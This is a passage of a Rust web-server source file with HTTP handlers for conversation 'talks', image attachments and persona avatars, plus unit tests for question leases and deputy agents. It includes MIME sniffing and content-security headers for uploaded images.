10061 blocking(move || resolve_talk(&ui.talks, &id)).await?
10062 };
10063 let _publication = crate::consult::publication_guard(&ui.talks, &id)
10064 .await
10065 .map_err(ApiError::from)?;
10066 let repo = {
10067 let ui = Arc::clone(&ui);
10068 let id = id.clone();
10069 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
10070 };
10071 let cfg = config_for(&repo).await?;
10072 {
10077 let ui = Arc::clone(&ui);
10078 let id = id.clone();
10079 let cfg = cfg.clone();
10080 let wanted = body.implementers;
10081 blocking(move || {
10082 talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
10083 refuse_if_closed(&ui.talks.get(&id)?)
10084 })
10085 .await?;
10086 }
10087 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10088 return Err(ApiError::conflict(
10089 "a talk turn is running; change the implementers once it has answered",
10090 ));
10091 };
10092 let switched = {
10093 let ui = Arc::clone(&ui);
10094 let id = id.clone();
10095 let cfg = cfg.clone();
10096 blocking(move || {
10097 let chosen = talk::check_implementers(body.implementers, &cfg)
10098 .map_err(ApiError::bad_request)?;
10099 let mut talk = ui.talks.get(&id)?;
10100 if !talk.status.open() {
10101 return Err(ApiError::conflict(format!(
10102 "talk {} is {} and takes no more turns",
10103 talk.short(),
10104 talk.status.as_str()
10105 )));
10106 }
10107 talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
10108 Ok(talk)
10109 })
10110 .await
10111 };
10112 let observed = ui.queued_generation(&id);
10114 let fresh = {
10115 let ui = Arc::clone(&ui);
10116 let id = id.clone();
10117 blocking(move || Ok(ui.talks.get(&id)?)).await
10118 };
10119 let draining = match fresh {
10120 Ok(talk) => {
10121 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10122 }
10123 Err(_) => false,
10124 };
10125 let talk = switched?;
10126 Ok(Json(TalkView::new(talk, draining, &ui)))
10127 })
10128 .await
10129}
10130
10131async fn talk_close(
10133 State(ui): State<Arc<Ui>>,
10134 Path(id): Path<String>,
10135) -> ApiResult<Json<TalkView>> {
10136 blocking(move || {
10137 let id = resolve_talk(&ui.talks, &id)?;
10138 let mut talk = ui.talks.get(&id)?;
10139 talk::close(&mut talk, &ui.talks)?;
10140 let thinking = ui.is_thinking(&talk.id);
10141 Ok(Json(TalkView::new(talk, thinking, &ui)))
10142 })
10143 .await
10144}
10145
10146async fn talk_reopen(
10148 State(ui): State<Arc<Ui>>,
10149 Path(id): Path<String>,
10150) -> ApiResult<Json<TalkView>> {
10151 blocking(move || {
10152 let id = resolve_talk(&ui.talks, &id)?;
10153 let mut talk = ui.talks.get(&id)?;
10154 talk::reopen(&mut talk, &ui.talks)?;
10155 let thinking = ui.is_thinking(&talk.id);
10156 Ok(Json(TalkView::new(talk, thinking, &ui)))
10157 })
10158 .await
10159}
10160
10161async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
10171 blocking(move || {
10172 let id = resolve_talk(&ui.talks, &id)?;
10173 ui.talks.remove(&id)?;
10174 Ok(StatusCode::NO_CONTENT)
10175 })
10176 .await
10177}
10178
10179fn talk_ids(root: &FsPath) -> Vec<String> {
10180 std::fs::read_dir(root)
10181 .into_iter()
10182 .flatten()
10183 .flatten()
10184 .filter_map(|e| {
10185 let path = e.path();
10186 if path.extension().is_some_and(|ext| ext == "json") {
10187 path.file_stem().and_then(|s| s.to_str()).map(str::to_owned)
10188 } else {
10189 None
10190 }
10191 })
10192 .collect()
10193}
10194
10195fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
10197 if plain_record_id(id) && store.path_of(id).is_file() {
10198 return Ok(id.to_owned());
10199 }
10200 pick(talk_ids(store.root()), id, "talk")
10201}
10202
10203async fn talk_attachment_post(
10206 State(ui): State<Arc<Ui>>,
10207 Path(id): Path<String>,
10208 headers: HeaderMap,
10209 body: Bytes,
10210) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
10211 let mime = validate_attachment(&headers, &body)?;
10212 let name = filename_header(&headers);
10213 let data = body.to_vec();
10214 blocking(move || {
10215 let id = resolve_talk(&ui.talks, &id)?;
10216 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
10217 Ok((StatusCode::CREATED, Json(att)))
10218 })
10219 .await
10220}
10221
10222async fn talk_attachment_get(
10225 State(ui): State<Arc<Ui>>,
10226 Path((id, att)): Path<(String, String)>,
10227) -> ApiResult<Response> {
10228 blocking(move || {
10229 let id = resolve_talk(&ui.talks, &id)?;
10230 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
10231 return Err(ApiError::not_found(format!(
10232 "talk {id} has no attachment `{att}`"
10233 )));
10234 };
10235 Ok(attachment_response(&meta.mime, data))
10236 })
10237 .await
10238}
10239
10240fn avatar_url(home: &FsPath, talk_id: &str, p: &persona::Persona) -> String {
10243 let id = avatar_encode(&p.id);
10244 format!(
10245 "/api/talks/{talk_id}/avatar?persona={id}&v={}",
10246 persona_icon::fingerprint(
10247 effective_persona_icon(home, &p.id, p.icon.as_deref()).as_deref()
10248 )
10249 )
10250}
10251
10252#[derive(Debug, Default, Deserialize)]
10253struct AvatarQuery {
10254 persona: Option<String>,
10255 builtin: Option<String>,
10257}
10258
10259const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
10261
10262fn builtin_avatar(id: &str) -> Response {
10263 svg_avatar(persona_icon::builtin_svg(id))
10264}
10265
10266async fn operator_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
10267 raster_or_builtin(
10268 read_icon_file(&avatar_setting_path(&ui.home, None))
10269 .filter(|_| q.builtin.is_none())
10270 .as_deref(),
10271 persona_icon::operator_svg(),
10272 )
10273}
10274
10275fn svg_avatar(svg: &'static str) -> Response {
10276 (
10277 [
10278 (header::CONTENT_TYPE, "image/svg+xml"),
10279 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
10280 (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
10281 (header::CACHE_CONTROL, "no-cache"),
10282 ],
10283 svg,
10284 )
10285 .into_response()
10286}
10287
10288fn avatar_encode(value: &str) -> String {
10289 value
10290 .bytes()
10291 .map(|b| {
10292 if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
10293 char::from(b).to_string()
10294 } else {
10295 format!("%{b:02X}")
10296 }
10297 })
10298 .collect()
10299}
10300
10301fn avatar_setting_path(home: &FsPath, persona: Option<&str>) -> PathBuf {
10303 let Some(id) = persona else {
10304 return home.join("avatars/operator.data");
10305 };
10306 let encoded: String = id.bytes().map(|b| format!("{b:02x}")).collect();
10307 let mut path = home.join("avatars/personas");
10308 for chunk in encoded.as_bytes().chunks(100) {
10309 path.push(std::str::from_utf8(chunk).expect("hex"));
10310 }
10311 path.join("icon.data")
10312}
10313
10314fn effective_persona_icon(home: &FsPath, id: &str, configured: Option<&str>) -> Option<String> {
10315 match read_icon_file(&avatar_setting_path(home, Some(id))) {
10316 Some(value) if value == "builtin" => Some(String::new()),
10317 Some(value) => Some(value),
10318 None => configured.map(str::to_owned),
10319 }
10320}
10321
10322fn operator_icon_url(home: &FsPath) -> String {
10323 format!(
10324 "/avatars/operator.svg?v={}",
10325 persona_icon::fingerprint(
10326 read_icon_file(&avatar_setting_path(home, None))
10327 .as_deref()
10328 .or(Some(persona_icon::operator_svg()))
10329 )
10330 )
10331}
10332
10333fn raster_or_builtin(icon: Option<&str>, builtin: &'static str) -> Response {
10334 let mut response = match icon.and_then(|i| persona_icon::load(i).ok()) {
10335 Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10336 attachment_response(mime, bytes)
10337 }
10338 _ => svg_avatar(builtin),
10339 };
10340 response
10341 .headers_mut()
10342 .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
10343 response
10344}
10345
10346#[derive(Default, Deserialize)]
10347struct AvatarSettingsQuery {
10348 repo: Option<PathBuf>,
10349 persona: Option<String>,
10350 builtin: Option<String>,
10351 inherit: Option<String>,
10352}
10353
10354fn avatar_settings_specs(
10355 ui: &Ui,
10356 repo: Option<PathBuf>,
10357) -> ApiResult<(PathBuf, Vec<crate::config::PersonaSpec>)> {
10358 let (repo, _) = settings_context(ui, SettingsQuery { repo })?;
10359 let specs = settings::repository_config(&repo, ui.machine_config.as_deref())
10360 .map(|cfg| cfg.talk.personas)
10361 .unwrap_or_default();
10362 Ok((repo, specs))
10363}
10364
10365fn saved_persona_ids(path: &FsPath, prefix: &str, out: &mut Vec<String>) {
10366 let Ok(entries) = std::fs::read_dir(path) else {
10367 return;
10368 };
10369 for entry in entries.flatten() {
10370 let name = entry.file_name().to_string_lossy().into_owned();
10371 if name == "icon.data" {
10372 let bytes: Option<Vec<u8>> = prefix
10373 .as_bytes()
10374 .chunks(2)
10375 .map(|c| u8::from_str_radix(std::str::from_utf8(c).ok()?, 16).ok())
10376 .collect();
10377 if let Some(id) = bytes.and_then(|b| String::from_utf8(b).ok()) {
10378 out.push(id);
10379 }
10380 } else if name.len() <= 100
10381 && !name.is_empty()
10382 && name.bytes().all(|b| b.is_ascii_hexdigit())
10383 && entry.file_type().is_ok_and(|t| t.is_dir())
10384 {
10385 saved_persona_ids(&entry.path(), &format!("{prefix}{name}"), out);
10386 }
10387 }
10388}
10389
10390async fn avatar_settings_get(
10391 State(ui): State<Arc<Ui>>,
10392 Query(q): Query<AvatarSettingsQuery>,
10393) -> ApiResult<Json<serde_json::Value>> {
10394 blocking(move || {
10395 let (repo, specs) = avatar_settings_specs(&ui, q.repo)?;
10396 let mut catalog = persona::catalog(&specs);
10397 let known_ids: Vec<_> = catalog.iter().map(|p| p.id.clone()).collect();
10398 let mut saved = Vec::new();
10399 saved_persona_ids(&ui.home.join("avatars/personas"), "", &mut saved);
10400 for id in saved {
10401 if !catalog.iter().any(|p| p.id == id) {
10402 catalog.push(persona::Persona { name: format!("{id} (saved override)"), id, prompt: String::new(), icon: None });
10403 }
10404 }
10405 let personas: Vec<_> = catalog.iter().map(|p| {
10406 let saved = read_icon_file(&avatar_setting_path(&ui.home, Some(&p.id)));
10407 let override_state = match saved.as_deref() {
10408 Some("builtin") => "builtin",
10409 Some(_) => "custom",
10410 None => "inherit",
10411 };
10412 let icon = effective_persona_icon(&ui.home, &p.id, p.icon.as_deref());
10413 serde_json::json!({"id":p.id,"name":p.name,
10414 "override_state":override_state,"has_config_icon":p.icon.is_some(),
10415 "is_orphan":!known_ids.contains(&p.id),"avatar":format!("/avatars/persona?persona={}&repo={}&v={}",
10416 avatar_encode(&p.id), avatar_encode(&repo.to_string_lossy()), persona_icon::fingerprint(icon.as_deref()))})
10417 }).collect();
10418 Ok(Json(serde_json::json!({"operator":operator_icon_url(&ui.home), "personas":personas})))
10419 }).await
10420}
10421
10422async fn settings_persona_avatar(
10423 State(ui): State<Arc<Ui>>,
10424 Query(q): Query<AvatarSettingsQuery>,
10425) -> ApiResult<Response> {
10426 blocking(move || {
10427 let (_, specs) = avatar_settings_specs(&ui, q.repo)?;
10428 let id = q.persona.as_deref().unwrap_or(persona::DEFAULT_ID);
10429 let found = persona::find(&specs, id);
10430 let icon =
10431 effective_persona_icon(&ui.home, id, found.as_ref().and_then(|p| p.icon.as_deref()));
10432 Ok(raster_or_builtin(
10433 icon.as_deref().filter(|_| q.builtin.is_none()),
10434 persona_icon::builtin_svg(id),
10435 ))
10436 })
10437 .await
10438}
10439
10440fn validate_avatar_target(q: &AvatarSettingsQuery) -> ApiResult<()> {
10441 if q.persona
10442 .as_ref()
10443 .is_some_and(|p| p.is_empty() || p.len() > 4096)
10444 {
10445 return Err(ApiError::bad_request("invalid persona id"));
10446 }
10447 Ok(())
10448}
10449
10450async fn avatar_settings_put(
10451 State(ui): State<Arc<Ui>>,
10452 Query(q): Query<AvatarSettingsQuery>,
10453 Json(upload): Json<MagiIconUpload>,
10454) -> ApiResult<Json<serde_json::Value>> {
10455 blocking(move || {
10456 validate_avatar_target(&q)?;
10457 save_icon_file(
10458 &avatar_setting_path(&ui.home, q.persona.as_deref()),
10459 &upload.icon,
10460 )
10461 .map_err(ApiError::bad_request_from)?;
10462 Ok(Json(serde_json::json!({"saved":true})))
10463 })
10464 .await
10465}
10466
10467async fn avatar_settings_delete(
10468 State(ui): State<Arc<Ui>>,
10469 Query(q): Query<AvatarSettingsQuery>,
10470) -> ApiResult<Json<serde_json::Value>> {
10471 blocking(move || {
10472 validate_avatar_target(&q)?;
10473 let path = avatar_setting_path(&ui.home, q.persona.as_deref());
10474 if q.persona.is_some() && q.inherit.is_none() {
10475 atomic_icon_write(&path, "builtin")?;
10476 } else {
10477 match std::fs::remove_file(path) {
10478 Ok(()) => (),
10479 Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
10480 Err(e) => return Err(anyhow::Error::from(e).into()),
10481 }
10482 }
10483 Ok(Json(serde_json::json!({"saved":true})))
10484 })
10485 .await
10486}
10487
10488fn magi_icon_path(home: &FsPath) -> PathBuf {
10490 home.join("magi-icon.data")
10491}
10492
10493fn read_magi_icon(home: &FsPath) -> Option<String> {
10494 read_icon_file(&magi_icon_path(home))
10495}
10496
10497fn read_icon_file(path: &FsPath) -> Option<String> {
10498 let metadata = std::fs::metadata(path).ok()?;
10499 if !metadata.is_file() || metadata.len() > persona_icon::ICON_MAX_BYTES as u64 {
10500 return None;
10501 }
10502 let file = std::fs::File::open(path).ok()?;
10503 use std::io::Read;
10504 let mut text = String::new();
10505 file.take(persona_icon::ICON_MAX_BYTES as u64 + 1)
10506 .read_to_string(&mut text)
10507 .ok()?;
10508 if text.len() > persona_icon::ICON_MAX_BYTES {
10509 return None;
10510 }
10511 if text == "builtin" {
10512 return Some(text);
10513 }
10514 validate_uploaded_icon(&text).ok()?;
10515 Some(text)
10516}
10517
10518fn magi_icon_url(home: &FsPath) -> String {
10519 format!(
10520 "/avatars/magi?v={}",
10521 persona_icon::fingerprint(read_magi_icon(home).as_deref())
10522 )
10523}
10524
10525async fn magi_icon_get(State(ui): State<Arc<Ui>>) -> Json<serde_json::Value> {
10526 Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)}))
10527}
10528
10529#[derive(Deserialize)]
10530struct MagiIconUpload {
10531 icon: String,
10532}
10533
10534fn save_magi_icon(home: &FsPath, icon: &str) -> Result<()> {
10535 save_icon_file(&magi_icon_path(home), icon)
10536}
10537
10538fn validate_uploaded_icon(icon: &str) -> Result<()> {
10539 if !icon.starts_with("data:") {
10540 anyhow::bail!("upload a raster image");
10541 }
10542 let (mime, bytes) = persona_icon::load(icon)?;
10543 if sniffed_mime(&bytes) != Some(mime) {
10544 anyhow::bail!("image content does not match its type");
10545 }
10546 Ok(())
10547}
10548
10549fn save_icon_file(path: &FsPath, icon: &str) -> Result<()> {
10550 validate_uploaded_icon(icon)?;
10551 atomic_icon_write(path, icon)
10552}
10553
10554fn atomic_icon_write(path: &FsPath, icon: &str) -> Result<()> {
10555 let home = path.parent().expect("icon parent");
10556 std::fs::create_dir_all(home)?;
10557 let token = crate::rng::SplitMix64::new(crate::rng::entropy()).uuid_v4();
10558 let temp = home.join(format!(".magi-icon-{token}.tmp"));
10559 let result = (|| -> Result<()> {
10560 use std::io::Write;
10561 let mut file = std::fs::OpenOptions::new()
10562 .write(true)
10563 .create_new(true)
10564 .open(&temp)?;
10565 file.write_all(icon.as_bytes())?;
10566 file.sync_all()?;
10567 std::fs::rename(&temp, path)?;
10568 Ok(())
10569 })();
10570 let _ = std::fs::remove_file(temp);
10571 result?;
10572 Ok(())
10573}
10574
10575async fn magi_icon_put(
10576 State(ui): State<Arc<Ui>>,
10577 Json(upload): Json<MagiIconUpload>,
10578) -> ApiResult<Json<serde_json::Value>> {
10579 blocking(move || {
10580 if !upload.icon.starts_with("data:") {
10581 return Err(ApiError::bad_request("upload a raster image"));
10582 }
10583 let (mime, bytes) = persona_icon::load(&upload.icon).map_err(ApiError::bad_request_from)?;
10584 if sniffed_mime(&bytes) != Some(mime) {
10585 return Err(ApiError::bad_request(
10586 "image content does not match its type",
10587 ));
10588 }
10589 save_magi_icon(&ui.home, &upload.icon)?;
10590 Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
10591 })
10592 .await
10593}
10594
10595async fn magi_icon_delete(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
10596 blocking(move || {
10597 match std::fs::remove_file(magi_icon_path(&ui.home)) {
10598 Ok(()) => (),
10599 Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
10600 Err(e) => return Err(anyhow::Error::from(e).into()),
10601 }
10602 Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
10603 })
10604 .await
10605}
10606
10607async fn magi_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
10608 let icon = (q.builtin.is_none())
10609 .then(|| read_magi_icon(&ui.home))
10610 .flatten();
10611 let mut response = match icon
10612 .as_deref()
10613 .and_then(|icon| persona_icon::load(icon).ok())
10614 {
10615 Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10616 attachment_response(mime, bytes)
10617 }
10618 _ => svg_avatar(persona_icon::magi_svg()),
10619 };
10620 response
10621 .headers_mut()
10622 .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
10623 response
10624}
10625
10626async fn talk_avatar(
10631 State(ui): State<Arc<Ui>>,
10632 Path(id): Path<String>,
10633 Query(q): Query<AvatarQuery>,
10634) -> ApiResult<Response> {
10635 blocking(move || {
10636 let id = resolve_talk(&ui.talks, &id)?;
10637 let talk = ui.talks.get(&id)?;
10638 let wanted = q
10639 .persona
10640 .as_deref()
10641 .map(str::trim)
10642 .filter(|p| !p.is_empty())
10643 .unwrap_or(&talk.persona)
10644 .to_owned();
10645 let specs = match Config::discover(&talk.repo, None) {
10646 Ok((cfg, _)) => cfg.talk.personas,
10647 Err(e) => {
10648 tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
10649 Vec::new()
10650 }
10651 };
10652 let found = persona::find(&specs, &wanted);
10653 let wanted = found.as_ref().map_or(wanted, |p| p.id.clone());
10655 let icon = effective_persona_icon(
10656 &ui.home,
10657 &wanted,
10658 found.as_ref().and_then(|p| p.icon.as_deref()),
10659 );
10660 if found.is_none() && icon.is_none() {
10661 return Ok(builtin_avatar(persona::DEFAULT_ID));
10662 }
10663 let Some(icon) = icon
10664 .as_deref()
10665 .filter(|icon| !icon.is_empty() && q.builtin.is_none())
10666 else {
10667 return Ok(builtin_avatar(&wanted));
10668 };
10669 let Some(found) = found else {
10670 return Ok(raster_or_builtin(
10671 Some(icon),
10672 persona_icon::builtin_svg(&wanted),
10673 ));
10674 };
10675 match persona_icon::load(icon) {
10676 Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10677 let mut res = attachment_response(mime, bytes);
10678 res.headers_mut().insert(
10679 header::CACHE_CONTROL,
10680 header::HeaderValue::from_static("no-cache"),
10681 );
10682 Ok(res)
10683 }
10684 Ok((mime, _)) => {
10685 tracing::warn!(
10686 "avatar: icon of persona `{}` is not really {mime}; using the built-in",
10687 found.id
10688 );
10689 Ok(builtin_avatar(&found.id))
10690 }
10691 Err(e) => {
10692 tracing::warn!(
10693 "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
10694 found.id
10695 );
10696 Ok(builtin_avatar(&found.id))
10697 }
10698 }
10699 })
10700 .await
10701}
10702
10703fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
10714 if data.len() > ATTACHMENT_MAX_BYTES {
10715 return Err(ApiError::bad_request(format!(
10716 "attachment is {} bytes, over the {} MiB limit",
10717 data.len(),
10718 ATTACHMENT_MAX_BYTES / (1024 * 1024)
10719 ))
10720 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
10721 }
10722 if data.is_empty() {
10723 return Err(ApiError::bad_request("attachment is empty"));
10724 }
10725 let declared = declared_mime(headers)?;
10726 match sniffed_mime(data) {
10727 Some(sniffed) if sniffed == declared => Ok(declared),
10728 Some(sniffed) => Err(ApiError::bad_request(format!(
10729 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
10730 ))),
10731 None => Err(ApiError::bad_request(
10732 "the file's bytes do not match any accepted image format",
10733 )),
10734 }
10735}
10736
10737fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
10741 let raw = headers
10742 .get(header::CONTENT_TYPE)
10743 .and_then(|v| v.to_str().ok())
10744 .unwrap_or("")
10745 .split(';')
10746 .next()
10747 .unwrap_or("")
10748 .trim()
10749 .to_ascii_lowercase();
10750 ATTACHMENT_MIME_WHITELIST
10751 .iter()
10752 .find(|&&m| m == raw)
10753 .copied()
10754 .ok_or_else(|| {
10755 if raw == "image/svg+xml" {
10756 ApiError::bad_request(
10757 "SVG is not accepted: it can carry active content (e.g. a <script>), \
10758 not just a picture",
10759 )
10760 } else if raw.is_empty() {
10761 ApiError::bad_request("Content-Type is required for an attachment upload")
10762 } else {
10763 ApiError::bad_request(format!(
10764 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
10765 image/gif or image/webp"
10766 ))
10767 }
10768 })
10769}
10770
10771fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
10774 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
10775 Some("image/png")
10776 } else if data.starts_with(b"\xff\xd8\xff") {
10777 Some("image/jpeg")
10778 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
10779 Some("image/gif")
10780 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
10781 Some("image/webp")
10782 } else {
10783 None
10784 }
10785}
10786
10787fn filename_header(headers: &HeaderMap) -> String {
10793 headers
10794 .get(FILENAME_HEADER)
10795 .and_then(|v| v.to_str().ok())
10796 .map(str::trim)
10797 .filter(|s| !s.is_empty())
10798 .unwrap_or("attachment")
10799 .to_owned()
10800}
10801
10802fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
10809 let content_type = ATTACHMENT_MIME_WHITELIST
10810 .iter()
10811 .find(|&&m| m == mime)
10812 .copied()
10813 .unwrap_or("application/octet-stream");
10814 (
10815 [
10816 (header::CONTENT_TYPE, content_type),
10817 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
10818 ],
10819 body,
10820 )
10821 .into_response()
10822}
10823
10824async fn config_for(repo: &FsPath) -> ApiResult<Config> {
10832 let repo = repo.to_path_buf();
10833 blocking(move || {
10834 let (cfg, _) = Config::discover(&repo, None)?;
10835 Ok(cfg)
10836 })
10837 .await
10838}
10839
10840fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
10846 let mut hits = ids
10847 .into_iter()
10848 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
10849 match (hits.next(), hits.next()) {
10850 (Some(one), None) => Ok(one),
10851 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
10852 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
10853 "`{prefix}` matches more than one {what}, including {a} and {b}"
10854 ))),
10855 }
10856}
10857
10858#[cfg(test)]
10859mod tests {
10860
10861 #[test]
10862 fn deputy_exhausted_requires_an_open_question_without_a_live_holder() {
10863 let dir = tempfile::tempdir().unwrap();
10864 let store = ask::Questions::at(dir.path().join("questions"));
10865 let mut q = Question::new(
10866 "task".to_owned(),
10867 "conduct".to_owned(),
10868 "conduct".to_owned(),
10869 "choose".to_owned(),
10870 String::new(),
10871 vec!["keep".to_owned()],
10872 );
10873 q.deputy = Some(ask::Deputy::new("brief".to_owned()));
10874 q.say("why?").unwrap();
10875 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS - 1;
10876 assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10877 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
10878 store.put(&mut q).unwrap();
10879 assert!(QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10880 assert_eq!(store.count_needs_owner(), 1);
10881 store.beat(&q.id, ask::WaiterKind::Deputy);
10882 assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10883 assert_eq!(store.count_needs_owner(), 0);
10884 let mut stale = store.read_lease(&q.id).unwrap();
10885 stale.beat_at = jiff::Timestamp::now() - std::time::Duration::from_secs(3600);
10886 std::fs::write(store.lease_path(&q.id), serde_json::to_vec(&stale).unwrap()).unwrap();
10887 let view = QuestionView::of(q.clone(), &store, Some(&Config::default()));
10888 assert!(view.deputy_exhausted);
10889 assert!(view.waiting_on_agent);
10890 assert_eq!(view.question.choices, ["keep"]);
10891 store.drop_lease(&q.id);
10892 q.answer(ask::Answer::Choice("keep".to_owned())).unwrap();
10893 assert!(!QuestionView::of(q, &store, Some(&Config::default())).deputy_exhausted);
10894 }
10895
10896 #[test]
10897 fn holder_reads_the_lease_not_the_record() {
10898 let mut q = Question::new(
10899 "run".to_owned(),
10900 "implement".to_owned(),
10901 "impl-A".to_owned(),
10902 "which?".to_owned(),
10903 String::new(),
10904 Vec::new(),
10905 );
10906 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
10907 q.cwd = Some("/tmp".to_owned());
10908 assert_eq!(holder_of(&q, None), Some("nobody"));
10909 let beat = |kind, ago: i64| ask::Lease {
10910 kind,
10911 pid: 1,
10912 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
10913 .unwrap(),
10914 };
10915 let fresh = beat(ask::WaiterKind::Asker, 1);
10916 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
10917 let daemon = beat(ask::WaiterKind::Daemon, 1);
10918 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
10919 let stale = beat(ask::WaiterKind::Asker, 3600);
10920 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
10921
10922 let mut c = Question::new(
10925 "task".to_owned(),
10926 crate::conduct::NODE.to_owned(),
10927 "conduct".to_owned(),
10928 "which?".to_owned(),
10929 String::new(),
10930 Vec::new(),
10931 );
10932 assert_eq!(holder_of(&c, None), Some("nobody"));
10933 c.cwd = Some("/tmp".to_owned());
10934 c.deputy = Some(ask::Deputy::new("brief".to_owned()));
10935 assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
10936 let deputy = beat(ask::WaiterKind::Deputy, 1);
10937 assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
10938 assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
10939
10940 let mut r = Question::new(
10942 String::new(),
10943 crate::bump::NOTICE_NODE.to_owned(),
10944 "release-watch".to_owned(),
10945 "stuck?".to_owned(),
10946 String::new(),
10947 vec!["hold".to_owned()],
10948 );
10949 assert_eq!(holder_of(&r, None), Some("nobody"));
10950 r.deputy = Some(ask::Deputy::new("brief".to_owned()));
10951 assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
10952 r.deputy = None;
10954 r.seat = "bump".to_owned();
10955 assert_eq!(holder_of(&r, None), None);
10956
10957 let mut m = Question::new(
10960 "run".to_owned(),
10961 crate::land::APPROVAL_NODE.to_owned(),
10962 "land".to_owned(),
10963 "merge?".to_owned(),
10964 String::new(),
10965 Vec::new(),
10966 );
10967 assert_eq!(holder_of(&m, None), Some("nobody"));
10968 assert_eq!(
10969 holder_of(&m, Some(&fresh)),
10970 Some("asker"),
10971 "a live explicit wait is a listener even before a deputy is attached"
10972 );
10973 m.deputy = Some(ask::Deputy::new("brief".to_owned()));
10974 assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
10975 assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
10976 assert_eq!(holder_of(&m, None), Some("nobody"));
10977 }
10978
10979 fn stub_config() -> Config {
10980 Config {
10983 agents: vec![crate::config::AgentSpec {
10984 id: "stub".to_owned(),
10985 kind: AgentKind::Command,
10986 model: None,
10987 command: vec!["true".to_owned()],
10988 extra_args: Vec::new(),
10989 env: Default::default(),
10990 prompt_delivery: None,
10991 max_turn_secs: None,
10992 }],
10993 ..Config::default()
10994 }
10995 }
10996
10997 fn plain_question(seat: &str) -> Question {
10998 Question::new(
10999 String::new(),
11000 "n".to_owned(),
11001 seat.to_owned(),
11002 "s".to_owned(),
11003 String::new(),
11004 Vec::new(),
11005 )
11006 }
11007
11008 #[test]
11009 fn deputies_enabled_follows_the_config() {
11010 let on = stub_config();
11011 assert!(crate::deputy::can_start(Some(&on), ""));
11012 assert!(crate::deputy::can_start(Some(&on), "stub"));
11013 let mut off = on.clone();
11014 off.daemon.max_deputies = 0;
11015 assert!(!crate::deputy::can_start(Some(&off), ""));
11016 let mut empty = on;
11017 empty.agents.clear();
11018 assert!(!crate::deputy::can_start(Some(&empty), ""));
11019 assert!(!crate::deputy::can_start(None, ""));
11020 }
11021
11022 #[test]
11023 fn question_views_load_the_config_once() {
11024 let dir = TempDir::new().unwrap();
11025 let store = ask::Questions::at(dir.path().to_path_buf());
11026 let mut with_deputy = plain_question("b");
11027 with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
11028 let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
11029
11030 let calls = std::cell::Cell::new(0usize);
11031 let views = question_views(qs.clone(), &store, || {
11032 calls.set(calls.get() + 1);
11033 Some(stub_config())
11034 });
11035 assert_eq!(calls.get(), 1);
11036 assert_eq!(views.len(), 3);
11037 for (v, q) in views.iter().zip(&qs) {
11038 assert_eq!(
11039 v.deputies_enabled,
11040 crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
11041 );
11042 }
11043
11044 let views = question_views(qs, &store, || None);
11045 assert!(views.iter().all(|v| !v.deputies_enabled));
11046
